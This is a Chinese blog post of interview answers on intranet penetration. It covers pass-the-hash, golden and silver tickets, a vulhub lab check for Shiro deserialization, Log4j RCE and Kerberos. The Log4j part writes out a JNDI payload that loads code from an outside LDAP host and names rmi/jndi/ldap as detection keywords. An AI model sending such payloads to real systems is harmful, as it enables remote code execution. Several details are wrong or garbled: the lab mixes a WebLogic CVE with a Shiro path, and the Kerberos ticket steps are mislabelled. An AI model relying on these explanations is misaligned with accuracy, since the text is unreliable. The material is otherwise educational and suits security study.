当前位置: 首页 > news >正文

内网渗透面试问题

文章目录

  • 1、熟悉哪些域渗透的手段
  • 2、详细说明哈希传递的攻击原理
    • NTLM认证流程
    • 哈希传递
  • 3、聊一下黄金票据和白银票据
  • 4、shiro反序列化漏洞的形成原因,尝试使用burp抓包查看返回包内容
    • 安装环境
    • 漏洞验证
  • 5、log4j组件的命令执行漏洞是如何造成的
  • 6、画图描述Kerberos协议的通信流程并解释如何实现安全的传输

1、熟悉哪些域渗透的手段

​ 黄金票据、白银票据、哈希传递

2、详细说明哈希传递的攻击原理

哈希传递只针对相同密码进行攻击。

NTLM认证流程

NTLM加密:

  • admin -> hex(16进制编码)= 61646d696e
  • 61646d696e-> Unicode =610064006d0069006e00
  • 610064006d0069006e00–>MD4=209c6174da490caeb422f3fa5a7ae634

认证过程:

在这里插入图片描述

注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形势与server生成的net-ntlm
hash一个格式

如上图,客户端client发送一个user用户名给服务器server,服务器从内存中检查它的用户名user是否存在,不存在,登录失败;存在,就生成一个challenge,然后服务器会查找内存中user对应的已经NTLM加密后的哈希密文(加密的是user的密码,假设是admin),并使用该哈希加密challenge(与challenge做逻辑运算),这个加密后的challenge就叫做net-ntlm hash,作为密码已经加密的标志保存到服务器内存中

然后服务器会将challenge发送给客户端,客户端将自己的密码转换成NTLM哈希,用生成的哈希加密challenge,这个加密后的challenge叫做response,然后客户端将response发送给服务器。

最后服务器对比自己内存中的net-ntlm hash与客户端发来的response是否一致,如果一致,就登录成功。

在这个过程中,即使response被攻击者捕获,也不能被伪造,保证了通信的安全。

哈希传递

当攻击者知道一台计算机的本地管理员的NTLM哈希,那么他可以使用这个哈希轻松地对该计算机进行身份验证。类似地,如果他拥有主机上本地管理组成员的域用户的NT哈希,他也可以作为本地管理员向该主机进行身份验证。

如下图,域中一台计算机沦陷,因为其他工作站都具有相同的管理员帐户和相同的密码,那么它们也将具有相同的NT哈希,攻击者就能用它的NTML哈希验证其他的服务器:

在这里插入图片描述

3、聊一下黄金票据和白银票据

黄金票据是伪造的TGT,白银票据就是伪造的ST。黄金票据是伪造了域管理员身份票据的TGT,白银票据伪造的是服务的票据ST,黄金票据可以访问它身份下的所有服务,白银票据只能访问被伪造服务票据ST的服务。

4、shiro反序列化漏洞的形成原因,尝试使用burp抓包查看返回包内容

形成原因

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

安装环境

进入vulhb目录下的weblogic,复现CVE-2018-2894漏洞:

cd /vulhub/shiro/CVE-2010-3863

查看docker-compose的配置文件:

cat docker-compose.yml

如图,里面有一个镜像文件的信息和服务名,以及它的端口号(后面要用):

在这里插入图片描述

然后使用下面命令,搭建docker-compose并启动:

sudo docker-compose up -d && sudo docker-compose up -d

如图,安装成功:

在这里插入图片描述

漏洞验证

原理如下

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

用bp自带的浏览器打开http://10.9.75.45:8080/,随意输入用户名密码并勾选记住我

在这里插入图片描述

点击登录后抓包,发送到repeat模块,发现请求包中有rememberme字段:

在这里插入图片描述

点击send发送,响应包中有set-cookie字段,并有rememberMe=deleteMe内容,这是一个shiro反序列化漏洞的强特征,说明有极大的可能存在shiro反序列化:

在这里插入图片描述

5、log4j组件的命令执行漏洞是如何造成的

log4j(log for Java)是Apache的一个开源项目,是一个基于Java的日志记录框架。该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。

它是一个RCE命令执行的漏洞,它的日志的输出如下:print函数双引号中的内容会被当做字符处理

$user=$_GET("user");
log.print(“用户$user登录失败”);

如果print函数中出现如${jndi:ldap://lof4ot.dnslog.cn/exp}的内容,就会将大括号中的内容当做命令执行

如果流量中遇到下面三个关键字,极大可能是Java的漏洞攻击:

rmi、jndi、ldap

6、画图描述Kerberos协议的通信流程并解释如何实现安全的传输

DC(Domain Controller):域控制器,是域中一台拥有最高管理权限的计算机

AD(Active Directory):活动目录数据库

KDC(Key Distributed Centre):包含了AS和TGS。

AS(Authentication Server):身份验证服务,为客户生成TGT的服务

TGS(Ticket GrantingServer):票证发放服务器,通过你的TGT来发放ST

TGT(Ticket Granting Ticket):票据授权票据,通过票据授权票据可以获得一个票据,类似临时凭证

ST(Service Ticket):服务票据

如下图,客户端首先向AS发送请求,AS提供TGT身份票据给客户端,客户端得到TGT后去访问TGS,由TGS发放服务票据ST,最后客户端用ST去访问服务端,服务端给客户端回应:

在这里插入图片描述

详解:

1、客户端发送自己的用户名给AS

2、AS验证用户名是否在白名单列表,如果在的话随机生成session key(as)返回如下信息

TGT1(session key(as),TGS服务器信息等)–客户端NTLM哈希加密

TGT2(session key(as),客户端信息等)–KRBTGT NTLM哈希加密(KRBTGT可以理解为DC中最高权限的用户)

3、用自己的NTLM哈希解密TGT1, 获得TGS服务器信息以及session key(as),TGT2由于是别人的哈希,所以解不开。

生成认证因子(客户端信息,当前时间)–session key(as)加密(认证因子用来验证TGT是否正确

发送认证因子以及TGT2给TGS服务

4、TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端

TGT3(session key(TGS),服务器信息,票据到期时间)–session key(as)加密

TGT4(session key(TGS),客户端信息,票据到期时间)–客户端想要访问的服务器的哈希加密

5、客户端解密TGT3,得到session key(TGS),服务器信息

生成认证因子2(服务器信息,票据到期时间)–session key(TGS)加密

发送认证因子2以及TGT4给服务器

6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期

利用session key(TGS)解密认证因子对比客户端信息(验证ST是否正确)决定是否提供服务

以下图的邮件服务为例:

客户端向域控DC中的AS发送请求,AS生成一个session key(身份令牌),session key(as)分别保存在TGT1和TGT2两个身份票据做临时凭证中(其中TGT1用客户端的哈希加密,TGT2用最高管理用户的哈希加密),AS将session key(as)发给客户端,客户端用自己的NTLM哈希解密TGT1得到TGS服务器信息(TGT2无法被客户端解密),然后用session key(as)加密生成一个认证因子作为TGT2的证明。

然后客户端将认证因子以及TGT2发给TGS服务,TGS解密TGT2得到session key(as),解密认证因子并与认证因子做对比,如果一致则生成session key(TGS),返回TGT3和TGT4给客户端,TG3被session key(as)加密,由于之前客户端接收到了session key(as),所以可以解密TGT3得到服务器信息,解密后客户端再次生成一个认证因子作为TGT4的证明。

最后客户端将认证因子及TGT4发送给邮件服务,邮件服务用哈希解密TGT4得到session key(TGS),用它解密认证因子对比客户端信息,正确则提供服务。

在这里插入图片描述

相关文章:

内网渗透面试问题

文章目录 1、熟悉哪些域渗透的手段2、详细说明哈希传递的攻击原理NTLM认证流程哈希传递 3、聊一下黄金票据和白银票据4、shiro反序列化漏洞的形成原因,尝试使用burp抓包查看返回包内容安装环境漏洞验证 5、log4j组件的命令执行漏洞是如何造成的6、画图描述Kerberos协…...

Go语言函数进阶:值传递、引用传递、函数式编程

文章目录 值传递和引用传递闭包柯里化defer go语言教程: 安装入门➡️ for循环➡️ 数组、切片和指针➡️ switch和map 值传递和引用传递 go语言中,函数通过关键字func定义,对于传入和返回的参数需要做类型的定义,其返回值可…...

数据结构 堆——详细动画图解,形象理解

作者主页 📚lovewold少个r博客主页 ​➡️栈和队列博客传送门 🌳参天大树充满生命力,其根深叶茂,分枝扶疏,为我们展示了数据分治的生动形态 目录 🌳 树 树的常见概念 📒树的表示 二叉树 一…...

使用pymodbus进行modbus-TCP通信

模拟modbus-slave 创建slave 设置 完成 安装pymodbus pip3 install pymodbus2.5.3代码 from pymodbus.client.sync import ModbusTcpClient from pymodbus.bit_read_message import ReadCoilsResponse from pymodbus.register_read_message import ReadInputRegistersRe…...

2. redis常见数据类型

一、Redis 数据类型 Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合…...

多测师肖sir_高级金牌讲师_python之结构语句005

python中常见语句: 一、目录: 1、if语句 2、while 循环语句 3、for循环语句 4、continue 语句 5、break 语句 二、语句详解 1、if判断语句 (1)if单分支 格式:if 判断条件: 语句块1…… else: 语…...

用3-8译码器实现全减器

描述 请使用3-8译码器和必要的逻辑门实现全减器,全减器接口图如下,A是被减数,B是减数,Ci是来自低位的借位,D是差,Co是向高位的借位。 3-8译码器代码如下,可将参考代码添加并例化到本题答案中。 …...

招投标系统简介 企业电子招投标采购系统源码之电子招投标系统 —降低企业采购成本

功能描述 1、门户管理:所有用户可在门户页面查看所有的公告信息及相关的通知信息。主要板块包含:招标公告、非招标公告、系统通知、政策法规。 2、立项管理:企业用户可对需要采购的项目进行立项申请,并提交审批,查看所…...

Linux Centos7 下使用yum安装的nginx平滑升级

1. 查看当前nginx版本 1nginx -v2. 查看centos版本 1cat /etc/redhat-release3. 创建一个新的文件nginx.repo,其中第三行的7是因为我的centos版本是7点多的,你看自己是多少就改多少 1vim /etc/yum.repos.d/nginx.repo23[nginx]4namenginx repo 5baseu…...

C/S架构学习之多线程实现TCP并发服务器

并发概念:并发是指两个或多个事件在同一时间间隔发生;多线程实现TCP并发服务器的实现流程:一、创建套接字(socket函数):通信域选择IPV4网络协议、套接字类型选择流式; int sockfd socket(AF_IN…...

iPhone手机记笔记工具选择用哪个

iPhone手机大家应该都比较熟悉,其使用性能是比较流畅的,在iPhone手机上记录笔记可以帮助大家快速地进行总结工作、记录工作内容等,在iPhone手机上记笔记工具选择用哪个呢? 可以在iPhone手机上使用的笔记工具是比较多的&#xff0…...

MyBatis动态SQL(if、choose、when和otherwise)标签

动态 SQL 是 MyBatis 的强大特性之一。在 JDBC 或其它类似的框架中,开发人员通常需要手动拼接 SQL 语句。根据不同的条件拼接 SQL 语句是一件极其痛苦的工作。例如,拼接时要确保添加了必要的空格,还要注意去掉列表最后一个列名的逗号。而动态…...

idea将jar包deploy到本地仓库

1、pom.xml文件引入配置&#xff0c;如下参考&#xff1a; <distributionManagement><snapshotRepository><id>maven-snapshots</id><url>http://nexus1.coralglobal.cn/repository/maven-snapshots/</url></snapshotRepository><…...

麻省理工学院与Meta AI共同开发StreamingLLM框架,实现语言模型无限处理长度

&#x1f989; AI新闻 &#x1f680; 麻省理工学院与Meta AI共同开发StreamingLLM框架&#xff0c;实现语言模型无限处理长度 摘要&#xff1a;麻省理工学院与Meta AI的研究人员联合研发了一款名为StreamingLLM的框架&#xff0c;解决了大语言模型在RAM与泛化问题上的挑战&am…...

记录 K8S 挂了的解决经过

背景&#xff1a;早上到公司&#xff0c;有同事反馈部署K8S在集群上的 Redis 和 禅道 都不可用 排查循序&#xff1a; 登录 kubesphere 的 web 界面 &#xff08;界面打开失败&#xff09;ssh 登录主服务器 &#xff08;正常&#xff09;在主服务器上运行 kubectl get node 命…...

Flink---11、状态管理(按键分区状态(值状态、列表状态、Map状态、归约状态、聚合状态)算子状态(列表状态、广播状态))

星光下的赶路人star的个人主页 这世上唯一扛得住岁月摧残的就是才华 文章目录 1、状态管理1.1 Flink中的状态1.1.1 概述1.1.2 状态的分类 1.2 按键分区状态&#xff08;Keyed State&#xff09;1.2.1 值状态&#xff08;ValueState&#xff09;1.2.2 列表状态&#xff08;ListS…...

Vue3中使用tinymce全功能演示,包括开源功能

效果图&#xff1a; 1、下载插件: npm i tinymce npm i tinymce/tinymce-vue 2、在node_modules文件夹中找到tinymce下的skins复制到项目public文件夹中 &#xff08;可以先创建一个tinymce文件夹&#xff09;&#xff1a; 3、在tinymce官网中下载中文包&#xff0c;并放在刚…...

There was an error committing your changes: File could not be edited

使用github完成commit changes时报的一个错误&#xff0c;最终原因是没有填写Extended description...

10月9日,每日信息差

今天是2023年10月9日&#xff0c;以下是为您准备的14条信息差 第一、首只与规模挂钩型浮动费率基金即将面市。作为公募基金费率改革大背景下的首批浮动费率产品&#xff0c;华夏信兴回报混合是市场上首只管理费与管理规模挂钩的基金 第二、江北新区成立百亿产业发展母基金&am…...

【软考设计师】S01 数据结构 E01 线性结构 P01 线性表

线性表 前言——线性结构线性表线性表的定义线性表的特点线性表的存储结构顺序存储链式存储单链表双向链表循环链表静态链表 前言——线性结构 线性结构是一种基本的数据结构&#xff0c;主要用于对客观世界中具有单一前驱和后继的数据关系进行描述。线性结构的特点是数据元素…...

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...

PPT|230页| 制造集团企业供应链端到端的数字化解决方案:从需求到结算的全链路业务闭环构建

制造业采购供应链管理是企业运营的核心环节&#xff0c;供应链协同管理在供应链上下游企业之间建立紧密的合作关系&#xff0c;通过信息共享、资源整合、业务协同等方式&#xff0c;实现供应链的全面管理和优化&#xff0c;提高供应链的效率和透明度&#xff0c;降低供应链的成…...

数据库分批入库

今天在工作中&#xff0c;遇到一个问题&#xff0c;就是分批查询的时候&#xff0c;由于批次过大导致出现了一些问题&#xff0c;一下是问题描述和解决方案&#xff1a; 示例&#xff1a; // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

关于 WASM:1. WASM 基础原理

一、WASM 简介 1.1 WebAssembly 是什么&#xff1f; WebAssembly&#xff08;WASM&#xff09; 是一种能在现代浏览器中高效运行的二进制指令格式&#xff0c;它不是传统的编程语言&#xff0c;而是一种 低级字节码格式&#xff0c;可由高级语言&#xff08;如 C、C、Rust&am…...

大语言模型(LLM)中的KV缓存压缩与动态稀疏注意力机制设计

随着大语言模型&#xff08;LLM&#xff09;参数规模的增长&#xff0c;推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长&#xff0c;而KV缓存的内存消耗可能高达数十GB&#xff08;例如Llama2-7B处理100K token时需50GB内存&a…...

GitFlow 工作模式(详解)

今天再学项目的过程中遇到使用gitflow模式管理代码&#xff0c;因此进行学习并且发布关于gitflow的一些思考 Git与GitFlow模式 我们在写代码的时候通常会进行网上保存&#xff0c;无论是github还是gittee&#xff0c;都是一种基于git去保存代码的形式&#xff0c;这样保存代码…...

掌握 HTTP 请求:理解 cURL GET 语法

cURL 是一个强大的命令行工具&#xff0c;用于发送 HTTP 请求和与 Web 服务器交互。在 Web 开发和测试中&#xff0c;cURL 经常用于发送 GET 请求来获取服务器资源。本文将详细介绍 cURL GET 请求的语法和使用方法。 一、cURL 基本概念 cURL 是 "Client URL" 的缩写…...

深入浅出Diffusion模型:从原理到实践的全方位教程

I. 引言&#xff1a;生成式AI的黎明 – Diffusion模型是什么&#xff1f; 近年来&#xff0c;生成式人工智能&#xff08;Generative AI&#xff09;领域取得了爆炸性的进展&#xff0c;模型能够根据简单的文本提示创作出逼真的图像、连贯的文本&#xff0c;乃至更多令人惊叹的…...

uniapp 实现腾讯云IM群文件上传下载功能

UniApp 集成腾讯云IM实现群文件上传下载功能全攻略 一、功能背景与技术选型 在团队协作场景中&#xff0c;群文件共享是核心需求之一。本文将介绍如何基于腾讯云IMCOS&#xff0c;在uniapp中实现&#xff1a; 群内文件上传/下载文件元数据管理下载进度追踪跨平台文件预览 二…...

LLaMA-Factory 微调 Qwen2-VL 进行人脸情感识别(二)

在上一篇文章中,我们详细介绍了如何使用LLaMA-Factory框架对Qwen2-VL大模型进行微调,以实现人脸情感识别的功能。本篇文章将聚焦于微调完成后,如何调用这个模型进行人脸情感识别的具体代码实现,包括详细的步骤和注释。 模型调用步骤 环境准备:确保安装了必要的Python库。…...